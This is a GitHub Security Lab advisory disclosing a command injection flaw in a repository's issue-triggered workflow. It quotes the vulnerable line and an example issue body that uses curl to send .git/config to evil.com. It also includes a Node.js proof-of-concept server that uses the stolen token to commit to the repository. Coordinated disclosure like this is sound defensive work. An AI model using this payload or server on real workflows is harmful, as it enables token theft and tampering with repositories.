skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
February 3, 2021

GHSL-2020-184: Command injection in bdougie/awesome-black-developers workflow

Jaroslav Lobacevski

Coordinated Disclosure Timeline

Summary

The ‘Readme’ GitHub workflow is vulnerable to arbitrary command injection.

Product

Awesome-black-developers GitHub repository

Tested Version

readme.yml from the main branch.

Details

Issue: The body of a public GitHub issue is used to format a shell command

When a user creates a public issue it automatically starts the readme.yml GitHub workflow. The body of the issue is used without sanitization to format a bash script.

on:
  issues:
    types: [opened, edited]
...
    - run:  'echo "${{ github.event.issue.body }}" > temp.txt'

Impact

This vulnerability allows for arbitrary command injection into the bash script. For example a user may create an issue with the body a" > temp.txt; set +e; curl -d @.git/config http://evil.com; sleep 10 # which will exfiltrate the temporary GitHub repository authorization token to the attacker controlled server. Although the token is not valid after the workflow finishes, since the attacker controls the execution of the workflow he or she can delay it to give the malicious server time to modify the repository.
Below is a Proof of Concept server code that receives the GitHub token and adds an arbitrary file to the repository.

const express = require('express')
const github = require('@actions/github')

const app = express()
const port = 8000

app.get('/', async (req, res, next) => {
  try {
    const octokit = github.getOctokit(req.query.t);

    await octokit.repos.createOrUpdateFileContents({
      // this is a targeted attack, repo name can be hardcoded
      owner: "bdougie",
      repo: "bdougie/awesome-black-developers",
      path: "test.txt",
      message: "yet another commit",
      content: Buffer.from("another day in the office").toString('base64'),
      committer: {name: "bdougie", email: "bdougie@users.noreply.github.com"},
    })

    res.sendStatus(200)

    next();
  } catch (error) {
    next(error);
  }
});

app.listen(port, () => {
  console.log(`Listening at http://localhost:${port}`)
})

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-184 in any communication regarding this issue.